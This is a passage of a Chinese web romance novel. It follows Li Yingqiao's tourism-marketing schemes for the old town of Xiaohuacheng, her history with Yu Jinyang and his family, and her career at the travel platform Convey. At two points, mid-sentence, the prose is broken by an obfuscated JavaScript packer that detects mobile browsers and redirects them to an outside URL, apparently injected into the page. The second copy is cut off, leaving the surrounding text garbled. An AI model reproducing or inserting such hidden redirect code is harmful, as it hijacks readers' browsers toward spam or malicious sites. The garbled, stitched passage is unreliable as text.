李映桥将红酒抱在怀里,歪着头看了会儿他认真的神色,坦然说:“……没有。其实丝毫没有感觉,我一度怀疑你是不是不举。” 俞津杨显然是愣住,耳根子瞬间泛了红,像狼毫笔下的红朱砂,瞬间晕染开,他慢慢直起身,锁上车,和她往酒店里走,无奈笑了声:“李映桥,……就因为这个?你那时候就懂这个?” “不算懂吧,”李映桥抱着那瓶酒笑得前合后仰,然后她快步走在他前头,边走边倒退着和他讲,“但我看了很多小说和番啊,算了,和你讲不明白的,我当时确实有点冲动,等了一晚上你也没给我发消息。第二天我在银行取钱的时候,碰见你爸刚从贵宾室出来,他阴阳怪气,我回去就把你拉黑了。” “他说什么了。” “他问我前面还有几个号,我说四十几个吧,很快就轮到了。他说‘小鬼头,你的时间就这么不值钱,排一下午队就为了取个钱?旁边不是有取款机吗?’我说我还有别的业务要办。他说‘那也不能这么干等着啊,你可以求求叔叔,叔叔帮你弄个vip号’,我说不用谢谢。” 其实换做以前,李映桥还真会直接扑上去,让俞人杰把那张金卡给她用一下。但她刚强吻完人家儿子,她突然就拉不下这个脸,连带着对俞人杰她也谄媚不起来了。紧跟着俞人杰也察觉到她的别扭,半开玩笑说了句:“干什么,小鬼头,突然这么正经,是不是带着阿杨干了什么坏事了?” 李映桥那时候心砰砰跳,心想说,他不会知道吧,俞津杨这个人放个屁都兜不住,他保不齐回去真会讲。毕竟他从小就什么都和唐阿姨讲。 她只能一边打量俞人杰的神色,一边谄笑:“没有啊。怎么会呢。” “那最好,”俞人杰起身用自己的卡给她重新取了张vip的号,意味深长地说,“去吧,记住叔叔这份情,以后老了给叔叔记得推推轮椅,别恩将仇报啊。” 这不怪李映桥浮想联翩。当初她误打误撞救下差点被人贩子拐卖的小糕点,高典的爷爷奶奶老封建思想,死活要高典父母上门提亲,来报答李映桥的恩情。当时她记得李姝莉女士二话不说转身冲进厨房拿了炳寒光闪闪的菜刀追出来说他们恩将仇报,闹得整个小画城人尽皆知。 不管俞人杰是真玩笑还是假玩笑,在当时李映桥敏感又要强的年纪,她自然而然地认为俞叔叔话里有话,尽管她高考考得比俞津杨好,比小画城所有人都好。但俞叔叔还是看不上她,还是无法客观地看待她。李映桥从来不是一个热脸贴冷屁股的人,这个世界上她只会无条件服从李姝莉女士,其他人不可能有这种优待,哪怕是俞津杨也不行,于是自己先扼杀住了那段刚萌芽的情谊。 “我没有和他们讲过那件事。”俞津杨在顶楼的包厢坐下,趁张叔没进来之前,又见缝插针地解释了一句,“一个字都没有。” 李映桥正要说话,张冲推门而入。他跟了俞人杰很多年,给人鞍前马后也二十余年了,如今两人身上的气质越来越相似,说话语调也是如出一辙的洋腔洋调:“你俩倒是一回来就凑到一块去了。” “没有,是我拜托俞津杨帮我联系您的。”李映桥立马撇清关系,拎过旁边的红酒,递过去,“叔,来,您最爱的黑皮诺。” “难为你这么多年还记得我爱喝什么,”张冲笑纳了,脸上褶子挤出好几道,瞥了眼俞津杨,但没让开酒:“心意领了。今晚就不喝了,晚点我还要回一趟市里替俞总处理点公司的事儿,我们长话短说,阿杨跟我大致说了,你想搞景区,我绝对大力支持,但这两年文旅产业也饱和了。小画城周边两三百公里内有不少同类型的古镇景区,年客流普遍都偏低,你想过怎么做差异化定位?” 李映桥说到这,她立马精神奕奕:“猿人大会算第一个ip吧,第一期视频上线我觉得效果不错,但流量池还是不够大,我们后续会继续推进各类视频的脚本。”话锋一转,“叔,你有兴趣当猿人不?喵都当过了。” “谢了。暂时没有。”张冲婉拒,“还有呢?” “一方面等猿人大会的视频有一定反响后,可能会联合旅行社出一个猿人大会的低价游。另一方面,这就是我想和您联合做个高端旅游线,您这边给我个酒店协议价,我让人回去做个高端旅游线的方案,比如亲子研学。下周我会和T厂的人做个数字对接,可能要把小画城做个数字化对接,会接入更多ai导游和数字化端口。现在景区还没升级,更适合做猿人大会这个主题,高端研学游的游客还可以一边研学一边和猿人们互动。我也还在探索中,还有很多想法都要一一落地后才能确定能不能施行。” “慢慢来,你回头做好方案发给我就行,”张冲频频点头,低头夹了两口菜说,“阿杨说你回来都没几天,执行力很强了。你之前在北京哪上班的?” “C ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772409|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' onvey旅途。”她如实讲。 俞津杨也瞥她一眼,张冲有些意外,放下筷子说:“看来你也不知道。” 俞津杨“嗯”了声:“不知道,我俩好多年没联系。” 张冲点头说:“那是个大厂啊,怎么不做了?” 李映桥低头给自己夹了一筷子,慢条斯理地嚼了会儿,言简意赅说:“营销战略和理念都不太合。” 张冲问:“做到什么位置了?哪个事业部的?” “品牌公关部,”李映桥反问道,“张叔好像很了解Convey?” 张冲笑笑:“我们和OTA本就是生态链的上下游啊,Convey是头部,我们有深度合作的。不过我认识你们的营销VP,张宗谐。也算半个丰潭人,之前在潭中读过书,你应该有印象,我记得你们潭中每年都有他捐赠的奖学金。他今年是不是聘任CMO了?” 李映桥筷子停在半空中,恍然道:“你和张总……你俩不会是亲戚吧?” “算不上,刚好是本家而已,当年俞总资助过他,不过也算是奶对人了,从管培生到CMO,他只用了七年。” 李映桥没接话茬,转头看了眼一言不发的俞津杨,后者头也不抬,正在专心致志地啃他的鱼骨刺,面前盘子里摊着一条完整的鱼架骨,真跟只猫一样,吃鱼能脱骨。 “你前几年在芝加哥做什么呢?”她突然问。 “做机械表。” “做到什么位置了。”她有样学样,张冲从小就觉得她是最不好忽悠一个,也是挺睚眦必报的。 俞津杨终于不再折腾那只鱼骨架,自己都笑了:“回来这么久都没关心过我在芝加哥做什么,张叔一盘问你,你就是来盘问我是吧?报复心这么重啊。怎么跟你讲?我花了五年时间,连一只手表的机芯都没研究明白。” “哈,这么菜?”李映桥说。 张冲笑着说:“他逗你玩的,那个时候本来他要回国的,那个品牌马上要成立中国区的定制中心,他本来可以回来做中国区品牌战略的负责人,但原先那芝加哥小伙子在中国结婚了,说什么都不肯回去,他只能在美洲区发展。” “喵,你可以啊。”李映桥顿时有点刮目相看,“你现在是打算自己做品牌还是?” 他往后一靠,笑了声:“我不是在你景区做猿人吗?” “说正经的。” “想是这么想来着,”他再次低下头,将桌上剩下的菜都扫了个干净说,“但四一哥说,只要我不创业,家里剩下的钱还够我和甜筒花一阵子。” 张冲也这么讲:“确实,这五星级酒店别看着恢弘大气,挣得也不多。还有一家年年往里倒贴钱的玩具公司,这几年都是拆东墙补西墙的状态了,阿杨最好还是别有梦想。” 一顿饭吃完,张冲提前回了。俞津杨驱车送李映桥回小画城的门口,李映桥下车时突然回头看了他一眼说:“喵,我记得你以前跟我说过,你老了想干嘛来着?” 他想不起来了,这种小学时候的梦想,他真是随口一讲。 “想当爹。”她一拍脑门,想起来。 “我没想过。你别把四一哥的梦想按我头上。”他无语。 “不是吗?”李映桥说,“不管了,反正我还是支持你要有梦想的。” “怎么支持,出钱还是出力?” “钱我没有,降龙十八掌倒是有一套。”说完,她掌风突袭而至,隔空袭击在他的腹部上,还摊平手掌在他面前运了两下功,高中那阵她沉迷金庸的武侠小说,还真研究了小半个月的降龙十八掌,刷题的时候,时不时给他来两下。 “呃啊。”他闷哼一声,顺势笑倒在车门上。 俞津杨一个练Popping的,全身肌肉可以说几乎是唯他任用,调动地非常自然且流畅,非常能配合她偶尔的动作和玩性大发。她又隔空推了下掌,他的腹部竟又跟着猛地向后震一下,李映桥略惊讶于他的核心控制游刃有余,人还比从前更配合,高中那会儿他嫌幼稚,有时候陪她玩得很敷衍。 于是她得寸进尺地又往前推了一掌,他没后退了,手势一下没收住,掌心攻击性十足地贴上他紧绷的腹肌,温热的皮肤厚度隔着T恤衫慢慢渗透上来,指尖甚至能感受到他细微肌理的起伏。 李映桥手被他扣住,下意识抬头,手腕和手心汨汨汲取着他的温度,他确实退无可退,人已经严丝合缝地贴在门上,攥着她的手不让她再碰,语气倒是很淡地问她:“玩够了没。” 40.第三十九章(二更合一) 李映桥走时故意又在他腹肌上隔着布料报复性地狠狠揉了一把,“稀罕啊我?” 说完干脆利落地推门下车,一秒都没停留。俞津杨反倒被她突如其来的一顿摸给摸傻了,看着后视镜里那个趾高气昂、越走越远的背影,脸颊慢慢抵上方向盘,终于忍不住闷笑了声。 翻过面来,又无奈地笑了声。 唉。 …… 接下来几天,李映桥忙得更是脚不沾地。猿人大会的视频正常上线,小画城各个平台的官方账号都收获了一波精神状态很美丽的粉丝,还有不少人在后台私信要报名参加扮演猿人。 “他们会咬人吗?” “不会的,宝,他们都是我们的工作人员。” 吴娟负责回复各个后台的私信,开始还挺有耐心的,她几乎每条都绞尽脑汁地回复,李映桥说开始的活人感积攒好感很重要,一定要温柔耐心,所以才把这活儿派给美丽又善良的吴娟同志。 但画风逐渐开始跑偏。 “那可以咬他们吗?” 吴娟:“……宝,不建议,他们都是会正常拨打110的猿工。” “可以摸腹肌吗?” 吴娟:“……哈哈哈如果他们有的话。” “那可以掏他们裆吗?这个总有吧。” “……” 吴娟从小到大就很乖巧,长得也是小家碧玉型。大学毕业后也听从家里安排找了个钱少事少离家近的工作,几乎没怎么独自出过远门,算是在父母庇护下长大的一朵温室小花朵。但她上网冲浪属于是荤素不忌的,偶尔还会翻墙看小黄漫。作为一个有活人感的官方皮下,看着越来越离谱的私信,她本来想回个哈哈哈哈哈算了。 结果手一抖,一串h里冒出个同母异父的字,她回复:“哈哈哈哈哈好。” 她自己甚至都没察觉到异样,等倒完水回来一看对面已经炸屏了。 “靠,你们真豁得出去!报名报名!” “我和我姐妹们一起报名!” 于是这条消息的截屏就以迅雷不及掩耳之势在朋友圈传播开了—— 不管真的假的,反正报名热线和后台私信都爆了。 连正在给张冲做方案的李映桥都接到了李姝莉女士的问候电话,让她放心飞,别在乎别人怎么想,只要不犯法,做什么妈妈都支持你,但掏裆犯法。李映桥这才知道发生了什么,她立马推开办公室的门出去,只见吴娟哭丧着一张脸坐在工位上,脸涨得通红,嗫嚅着叫了她一声:“映桥姐。” 李映桥看了眼一旁幸灾乐祸的潘晓亮,对吴娟说:“拿上手机进来。”又指指潘晓亮:“你,看一下邮箱,下周T厂的人过来,要做个景区数字化升级,把我发你的资料认真看一遍,别回头人家一问三不知。还有人事那边你问了吗?什么时候来新人?一件都没做,还在那笑呢,不知道的,以为你们潭中毕业的,就是招笑的。” 潘晓亮缩了缩脖子,不说话了。反正他们潭中人在哪就是容易招人嫉妒,呵呵。 直到现在,他其实都不知道,这个李映桥到底是从哪冒出来的。 *** “爸爸,看我。”甜筒正扒拉着俞人杰的脑袋,让他看自己用彩笔给自己化的妆。 俞人杰忍着笑,在她脸上有印记的地方用手搓了搓,发现搓不掉:“漂亮,漂亮,甜筒最漂亮!但这能洗掉吗?” 甜筒胸有成竹地嘿嘿一笑,“哥哥,会洗。” 果然,俞津杨下班一进门就一言不发地抱着甜筒去卫生间了,等给人洗干净,单肩扛着出来又把人塞回到俞人杰怀里,自己转身去收拾被甜筒弄乱的客厅。 父女俩对视一眼,察觉到哥哥这两天心情不太佳,俞人杰摸着甜筒的脑袋,小声在她耳边问:“你哥怎么了?” 甜筒眨眨眼,一脸茫然地摇头:“不造啊。” “你俩不玩挺好吗。” “不造啊。”甜筒还是那句话。 “那你造什么。” “大脑虎。哥哥是大脑虎。” 俞人杰笑:“你哥才不是呢,工作室有什么事了吧?你过去哄哄你哥。” 甜筒摊手:“哄不好。” 俞人杰捏捏她的小鼻子,试图巩固这段兄妹情:“怎么可能,你都哄不好,你哥最疼你了。你忘记了?你生病发烧的时候,你哥哥整夜整夜不睡守着你,隔半小时给你量一次体温,还用棉签给你蘸水润嘴唇。你爱吃草莓,你哥还在太奶奶那里给你种了一片草莓。” 甜筒不知道想到什么了,果然朝着客厅里正在收拾她那些杂乱无章玩具的男人伸出手,“哥哥,抱抱。” “等会儿,”俞津杨拿着她的火车头,刚给她一截截都接好了,回头看她说,“车尾巴那截呢。” “不造啊。”甜筒摇头,“爸爸,吃了。” “……房间里找找,我没那么饿。”俞人杰说。 甜筒执拗地伸出手:“哥哥,抱抱。” 俞津杨只好把人抱过来,俞人杰正要掏出手机给唐湘打电话,被儿子一眼看穿。这几天唐湘被几个朋友拉出去旅游,俞人杰到点就打电话,一天四五个,唐湘都烦了,说又没个正事。俞津杨单肩抱着甜筒,弯腰把火车头扔玩具箱里说:“你别打了,妈好不容易出去玩两天,散散心,不见得多愿意接你电话。” “哟嘿。”俞人杰听出一丝阴阳怪气,“什么意思,我这么不招人待见?” “我没说。”说完,没再搭理他。俞津杨坐在地上,把甜筒放自己怀里,检查她的眼睛,甜筒死活不让,“躲什么,眼皮上这几个包刚长的吗?哥哥看看,要不要消个毒。痒不痒?” “不痒。哥哥亲亲就好了。” 俞津杨发现甜筒很喜欢亲人,多半都是跟俞人杰学的,俞人杰有时候会当着他俩的面亲唐湘,他小时候还好,俞人杰工作太忙不怎么在家,很少撞见这种场面。甜筒来的时候,正是他俩最闲的时候,等俞人杰和唐湘意识到问题的时候,甜筒已经开始跟人无差别发送她的飞吻了,碰见个跟她差不多同龄,长得还行的,不管男女,她直接抱着就啃。 俞津杨盘腿坐在地上,无言又无语地看了眼他爹。 这事儿俞人杰已经没有了发言权,他身体力行地给甜筒证明了亲亲是爱的表现,好几次义正言辞地教育她不能这么乱亲,甜筒都会直接给他堵回去,你就是这样的呀。好在俞津杨在这方面一直都很光风霁月,他讲甜筒还愿意听两句。俞人杰每到这个时候就自动自发地滚着轮椅走了。 俞津杨严肃道:“你几岁了。” “四岁。” “我有没有跟你说过,不管是我,还是爸爸。都不可以再亲你了。” “有。” “那为什么还这样,家里还有其他男长辈会这样亲你吗?” “没有,但高典哥哥会。” “哥等会儿打死他。”俞津杨想了想说,“甜筒,病从口入你知不知道?你要保护好自己的嘴巴,生病多难受你知道的,哥哥和爸爸都不随便亲你的脸,其他人就更不可以,好吗?” 甜筒重重点头。 俞津杨揉揉她的脑袋,正要给高典打电话,高典就电话进来了:“靠,喵,咱们火了。” 俞津杨从茶几上随手捡了个三阶魔方让甜筒自己去玩,“谁火了。” “我。”高典说,“哥们火了。” 俞津杨这才打开手机去看小画城的官微,猿人大会的视频上线不到三四期,要说关注度很高倒也没有,每期视频的点赞量和评论数也就在几十个左右,他刚回国不久,不太了解国内网红经济的运营,看李映桥忙得这么手脚朝天的,估计也算是有点效果。他看过一期的视频就没再关注,直到刚才打开这期视频的评论和关注直线飙升,评论数已经破了一千条,连转发都有上千,点赞直接破了万。 其中某个猿人的呼声尤其高,毫无疑问,就是高典这只不像演得长臂猿,只要有他的视频点赞量都特别高,因为他在小画城的树里都可以直接挂着走了。小画城评论里几乎每一条都有人在呐喊:“我们要看长臂猿,我们要看长臂猿!我们要看长臂猿抓虱子!就是那只HR猿,他最帅,为什么只出镜了一期!请不起吗?我们众筹让帅哥再来一期!” 高典在电话那头也哭笑不得,说:“吴娟妹妹一个乌龙,现在朋友圈都在转,大家都在问在哪报名,说我们小画城真豁得出去,上哪找那么多模子哥!我爸妈从深圳电话都打过来问我是不是脑子有病,让我赶紧滚回深圳去。你爸妈刷到了吗?” “我妈肯定没有,四一哥不知道。”话音刚落,俞津杨看见俞人杰已经滚着轮椅出来,举着手机给他看,一脸“Excuse me.你能跟我解释一下你在外面干的什么蠢事吗”的表情。 “刷到了,挂了。”俞津杨看着老爸,叹了口气,对高典说:“对了,以后不要亲我妹,有点边界感吧,小糕点。” …… “儿子,你在丰潭压力很大吗?”一挂断电话,俞人杰就滚着轮椅过来问。 俞津杨扯扯嘴角:“还行吧。” “那是有什么猎奇的特殊癖好吗?”俞人杰想了想,万一有什么特殊癖好,他还是要尊重一下,顺便可能还要想想办法先开导一下唐湘。 他靠在沙发上,把手机滑进裤兜里,笑了声:“爸。” “你说,我受得住,”俞人杰举起自己的腿,拍了拍,“这都过来了,我没什么不能接受的。” 俞津杨定定地看着自己父亲,其实这两天他一直想高声诘问他为什么要在银行对李映桥说出那些话,李映桥跟他坦诚之后,俞津杨太清楚了,她没冤枉俞人杰,他爸是话里有话的。 那天晚上,他从丰潭山上下来,他没给李映桥发消息要说法,其实还有一个原因是他和他爸吵了一晚上架。他爸一直想送他出国留学,在丰潭有个不成文的规矩,有能力的家长砸锅卖铁都要送孩子出国镀金,有些人甚至不惜卖房子都要送孩子出去读两年。俞人杰也不例外,他自己有个出国梦,生意做到海外一直就想送儿子出去看看外面的世界。 高三那年就在撺掇唐湘让他去准备雅思,但有梁梅和朱小亮拦着,他一直都耿耿于怀,直到高考结束,他还是没放弃让他在学校里关注一下交换生的事情,F大每年都有不少出国交换的机会,让他从大一开始就把雅思托福准备起来,哪怕出去公派两年见见世面也好。 那天晚上他坦白了自己的想法。他说他不想出国,他想F大毕业后就去北京找工作,俞人杰一听就听出猫腻来了,忽而就冷了脸色问他:“是不是想去找李映桥?” 他没说是,也没说不是。他对感情懵懂,他只知道自己不想离她太远。但对他爹来说,沉默就等于是。俞人杰为此大发雷霆,长久以来对李家的愤懑全都如泄了闸的洪水朝他訇然淹过来。 “俞津杨!我是不是一直以来都太纵容你了,从小到大,我亏待过你吗?吃穿住行,你要学舞我就让你学,甚至为了你我要把书房拆掉全部装上隔音棉,让你随时随地能练舞。你要开流浪猫收养站我立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现如今的他,又试图把曾经年少失散的情谊怪在他老爸身上,如果没有他说的那些话,李映桥就不会拉黑他——可如果当真他们那时懵懵懂懂在一起了,就一定是个好结局吗?横亘在他们之间的问题仍旧存在,他老爸又能为他妥协多少次。或许这十年里两个人早就面目全非,早就生了龃龉,早就老死不相往来了。 光他在芝加哥那段时间,他都完全可以想象,他要真和李映桥在一起,他俩天天见不到面,李映桥能和他吵成什么样,他俩高三那阵吵架都是家常便饭了。 “李映桥回来了。”俞津杨站起来,把甜筒越转越复杂的魔方重新归位到最简单的初阶模式后,让她接着解,“在小画城景区的市场部当总经理,我和高典单纯帮她一个忙,你别多想。” *** 小画城后台的热线电话确实被打爆,李映桥让吴娟发布关于这次后台回复的乌龙之后,电话骤减,但也还有不少本地的人想来发疯。更离谱的是,隔壁景区也开始搞起了猿人招募,她们还没火呢,已经有人来抢饭碗了,而且隔壁景区竟然说不光可以和猿人进距离贴贴,还可以送相关的周边。猿人周边?香蕉啊。 果然郑妙嘉去刺探敌情,领回来两串香蕉扔李映桥的办公桌上,“猿人没咱们的帅,但架不住人家会整活儿,我说要不你们真掏裆吧,正好你掏一掏喵的。” 李映桥立马一个箭步去把门关了,“郑妙嘉,你要是管不住你那张嘴,就不要出现在我办公室。” 郑妙嘉一身亚麻长裙,脑门上还驾着副墨镜,好像在海南度假一样,格外闲散地靠在她办公室的单人沙发上,把脑门上的墨镜往下一推,冷漠地说:“真的吗?李总监。等会儿不要求我回来哦。” 李映桥一听她是有主意的,抱着胳膊也靠在办公桌的边沿,“你赐教。” “那你听好了,”郑妙嘉翻出手机,划拉了几个界面,给她扔桌上,“我账号有两百万粉丝,我打算把猿人大会这个项目结合小画城咱们自己的故事,连载成漫画的形式,光出视频没有用,长臂猿荡来荡去的能荡多少期啊,手荡断了都没用,我给你们出真正的周边。” 李映桥想到一个很现实的问题:“妙嘉,这不在我们的预算内,以你的身价,我暂时没办法给你申报这笔制作的费用。我也不希望你免费为我做这些,所以这个事儿我考虑一下,再答复你?” “桥桥!” “啊?” “我不要预算,实话跟你说吧,我不打算再画漫画了,这是我最后的作品,所以我不跟你要钱,我只是想留住点东西,我想留给我最爱的小画城,所以你介意我把梁梅老师也画进去吗?我觉得是她改变了我们所有人的人生轨迹。” *** 晚上,李映桥洗完澡,把这周的工作简报给李连丰一发,妙嘉的话让她翻来覆去还是睡不着。 李映桥觉得妙嘉在外面遇到事了,难道是被网暴了?她很少上网关注这些,偶尔会看到妙嘉的信息也都是很快就刷过去,她不会停留太久,妙嘉曾说过不喜欢现实中的朋友们看到网上那些信息。她没当过网红,但早年在convey的品牌公关部也接触过不少KOL头部,或多或少精神状态好像都有点美丽,翻了半天也没找到任何蛛丝马迹。 妙嘉画的漫画,确实挺令人热血沸腾的,李映桥越看越清醒。 其实也还有个可以忽略不计的原因—— 前两天腹肌手感真的不错,不知道腹肌主人睡着没有。 正当李映桥第八次掀开被子,两眼无神地盯着天花板,准备起来吃颗安眠药的时候,手机叮咚震了下。 一条短信钻进来—— +136748xxxxx:Joe,你把我拉黑了,加回来。OK?宗谐。 41 第四十章(二更合一) 李映桥从convey离开得不算太体面,她和张宗谐签了对赌走的。她承诺自己会在一年内开发出在商业价值上能对标convey持股的网红项目彩虹羑里,不然就彻底从这个行业消失。 彩虹羑里虽然是convey合资开发的,但实际运营权是在他们自己手里。李映桥是半路接手,这个项目磕磕绊绊,前头熬走过不少监理,她刚入职时这个项目就已经快建成了,到正式落地营业还有一年时间。 国内其实很少有ota*1平台对景区有实际运营权,convey是唯一一个,这是张宗谐battle了三十八楼所有高层最终拿下来的一个省外扶贫项目。 这期间所有的项目企划方案,全部是李映桥一手操盘的。她在convey履职多年,跟文旅相关的,其实就做过这一个项目,可以说几乎耗尽她全部心血。 项目落成的那一年她基本都外派在y省,吃住都在景区里。最开始住的还是临时搭建的板房,后来景区正式运营,她才有了自己的公寓。 那会儿她怎么也想不到当初在网吧找到方玥时睡的那张行军床——她心疼着急方玥怎么有家不回的时候,却没想到后来成了她自己的生活常态。 李姝莉没教过她做饭,她也不会做。为了节省时间要么盒饭要么泡面,衣柜除了一套偶尔应付总部检查需要穿得像样的西装外,其余也就剩几件同款但不同色系的冲锋衣。 景区刚运营的初期,当地逃票的人非常多,夜里经常平地起惊雷,门卫几个保安事无巨细半夜都要打电话给她汇报,连野猫闯进景区都要打电话给她。她不出面要真出了事,那几个保安只会推卸责任说已经和李监理汇报过了。 这样的事儿不是没有发生过,所以她半夜总要往山上跑,冲锋衣是最方便的。 那几年ota平台内卷相当厉害,加上酒店、航司直销渠道不断崛起,各大国际酒店就ota平台的佣金集体下调。convey旅途作为头部之一,也受到不小冲击,在李映桥没入职之前就经历过好几拨裁员。 2020年疫情爆发期间,各大ota平台机票和酒店退单量都激增,金额非常骇人,怎么办呢,只能平台先垫资,国内大部分连锁酒店或者民宿都可以协商。 因此那时候convey还从品牌部抓壮丁让人专门负责去催收和回款。头部几家勉强还能撑住,小鱼小虾就直接在那年宣布破产退出市场。 但国外的本土私营酒店就没办法了,态度强硬堪比一块铁板,坚决表示不可能退款,连当地政府都出面要求酒店配合退款,但执行率也不高。 还有酒店直截了当表明这是不可抗力的原因,酒店大门仍旧为中国游客打开,他们怕死不敢来损失就得他们自己承担。 张宗谐那时候单就协商退款这件事在疫情防控最严的时候,往国外跑了好几趟,勉强谈妥几家本土酒店,也只愿意用代金券来补偿,但条件也苛刻地要求半年内要使用掉。这怎么可能,那时候没人知道这场全球疫情要持续多久。 李映桥那时候还没入职,但她也是退单大军里的一员——她毕业的时候想带姝丽女士去一趟泰国豪华游,早大半年预订的游轮和酒店,谁料到突然碰到疫情爆发。 那时候她一天不知道打几个客服电话,把所有奖学金都搭进去了,结果convey的客服冷冰冰回复说国内的机酒我们平台会先行垫付退款,但国外的酒店目前还在协商中,请耐心等候。 她又耐心等了两天,还是没有结果,钱如果退不回来,她决定去convey上班,但convey那时候频频裁员,她当然应聘失败,才去那家后面暴大雷的生物科技公司。 直到在这家公司熬了一年多她离职后,才通过候选人竞聘来到了convey。李映桥也是入职后才无意中得知,张宗谐是因为她是丰潭人,才在一众履历都闪闪发光的候选人里挑中她。这当然又激起李映桥的胜负欲和征服欲了。 不过她后来复盘觉得自己当时目光还是短浅了点。本科毕业后,她本来可以继续读研的,但那时前公司直接高价向她抛来橄榄枝,她急于向梁梅证明,就决定签了公司没再读书。疫情来临之后,才知道学历又一次水涨船高,人才市场早就饱和了。 于是只能在工作上更兢兢业业,有了前公司的前车之鉴,李映桥在convey更是除了工作之外,不再和任何同事接触,更不愿意和上级一起应酬吃饭,万一他自己喝多了又暴露丑态,她又要被裁。 所以那时候她尽管知道张宗谐是她潭中的学长,也几乎没有主动和他套过近乎。 张宗谐也是个近乎冷漠、刻薄的工作狂上司。在品牌部那几年,他是李映桥的直属顶头上司,几乎从没和她讲过工作以外的话,偶尔在吃饭的时候碰见,李映桥巴不得躲他老远,但他丝毫看不出李映桥的避嫌,众目睽睽之下也要把人叫过去。 哪怕他刚刚才在办公室把人骂得狗血喷头,也看不出李映桥此刻一张脸写着不情不愿,坚持让她端着饭盆在自己面前坐下。就关于代金券的问题,他俩就吵过无数次——没有用户会喜欢一张有时效限制的代金券,疫情退款那次已经吃过亏了,单周投诉量十几万破了历年新高,董事会的人却依旧死性不改。 张宗谐没再咄咄逼人地让她接受自己的决策,而是一言不发地看着她。 他不说话的时候,一张脸五官匀称且很刻薄,尤其嘴唇紧抿的时候,眉骨又高又冷硬,轮廓分明却很有威慑力,他眼里几乎也很少有情绪流动,永远都是一副不容置疑的态度,定定看了她一会儿说:“你知道esg评分中g的评分是怎么计算的?” 要说改变,他俩的关系改变大概就是从这个esg*2的g评分问题开始改变的。 李映桥在品牌部一贯只做自己的事,对宏观上的东西她很少主动去了解,比如企业文化她不关心,对她来说宏观的东西说得再板上钉钉,落到实处也就是到手的工资条。但张宗谐改变了她的看法,当天晚上她回去认真看了关于convey的企业文化,以及创始人的相关采访。 esg在旅游行业的评分体系中,直接影响了企业在市场的估值和消费者对企业的信任度。e是环境,现在都提倡低碳旅行和生态链的环境保护,s是社会、用户、乡村扶贫等项目。 彩虹羑里就是张宗谐在s评分上做的一个乡村扶贫项目。而g则是,企业员工多样化。通俗来说,就是女性高管的占比。 国内目前只有一个ota平台的女性高管占比超越了互联网行业的平均值,可以达到百分之四十五,其余全军覆没。而convey更低,在他们三十八楼那张决策桌上,也只有两个女人。张宗谐这个人从来不会直白告诉她,你没资格跟我呛。 只会通过其他方式暗示她的人微言轻:如果你想推翻我的决策,那你上桌说话。 上就上。有了明确的目标后,她是个会拼尽全力的人。那两年她过年都没怎么回丰潭,回来也只匆匆待个一两天就回北京了,张宗谐更是,他从来不回丰潭,永远都是留在北京一个人过,偶尔飞国外和女友过。 不得不说,在张宗谐持续的精神施压下,李映桥倒是越来越有韧性,好几次convey爆出的舆情危机,永远是她带着团队不吃不喝地开会、分析舆情的模型结构,准确率高达百分之九十五,反应机制永远是ota平台里最快的,时间远远低于行业内的响应机制平均值。 张宗谐器重她,人之常情。李映桥那两年升得确实快,相处越久,越了解张宗谐之后,李映桥对他也彻底卸下心房了,他是不允许自己露出丑态的人,哪怕最狼狈的时候。 所以偶尔张宗谐要带她去应酬局她也欣然前往,但他俩在一起无论喝酒还是聊工作,两人都很有默契地避开丰潭这个地方,两人共事这么久,从没有一次主动提过这俩字。 直到一次和航司的应酬局,张宗谐想拿下那家航司五年的独家资源,他诚意十足,来者不拒。中途还帮李映桥挡了几杯酒。扶他上车的时候,张宗谐眼睛充血地突然问她,“你是考进潭中的,还是花钱买进潭中的?” 李映桥如实坦诚说:“买的啊。” 下一秒,她仿佛看到张宗谐懊悔的眼神,有种上当受骗的感觉。 “买的?那你怎么考上你母校的?”他脸上第一次露出情绪的波动,不可思议地看着她问。 “这是一个很长很长的故事。”她悠悠地说。 他冷嗤一声,不太感兴趣,无非就是学渣半路觉醒逆袭的老掉牙故事。张宗谐没再问,挥挥手让司机关上车门,下一秒又让司机滑开车门,李映桥仍站在原地,一脸无辜地看着他:“怎么了,是想起来要送我一程吗?” 他沉思片刻,一张俊脸除了冷淡还是冷淡:“如果我让你去彩虹羑里这个项目,你怎么想?” 这是公司的扶贫项目,说白了就是张宗谐为了esg评分和市场信任度做的一个慈善项目,投资回报周期长又低,还要长期待在省外,在convey早就成了一块烫手山芋。 李映桥一双眼睛不避不闪,赤/裸裸坦诚地看着他直白问:“是因为最近的谣言吗?” 车内的阴影覆盖住张宗谐大半英挺的修长身形,大衣和西装外套都被随意搁置在商务车隔壁的空座上,他只露出一双穿着西裤的双腿,锋利的裤缝把他人也圈在清晰的规则边界里。 李映桥把目光执拗地从他腿上挪到他的脸上,那时他俩的关系确实有点晦涩不明,张宗谐单身她是知道的,空窗估计也有小半年。 她这半年升得格外快,张宗谐对她又近乎纵容,核心项目和几个预算过亿的高端vip客户资源全毫不保留地交给她了,公司那阵关于他俩的流言蜚语几乎甚嚣尘上。 张宗谐没有回答她是或不是,只问她:“你去吗?” 她知道,她如果不去,他俩的关系会走到哪步,两人都没底,而张宗谐更清楚,他俩的关系一旦有任何实质性改变,三十八楼的决策桌上就不可能再有她的位置。 按照convey高层决策的潜规则来说,他俩如果有了更进一步的关系,那张桌子上,他俩只能留一个。 他的本意不是自己让出这个位置,而是要让李映桥靠自己的本事把其他人拉下来。 更何况,他也不可能让出来。他从管培生走到今天,他向来清醒理智,怎么可能为了女人发疯。 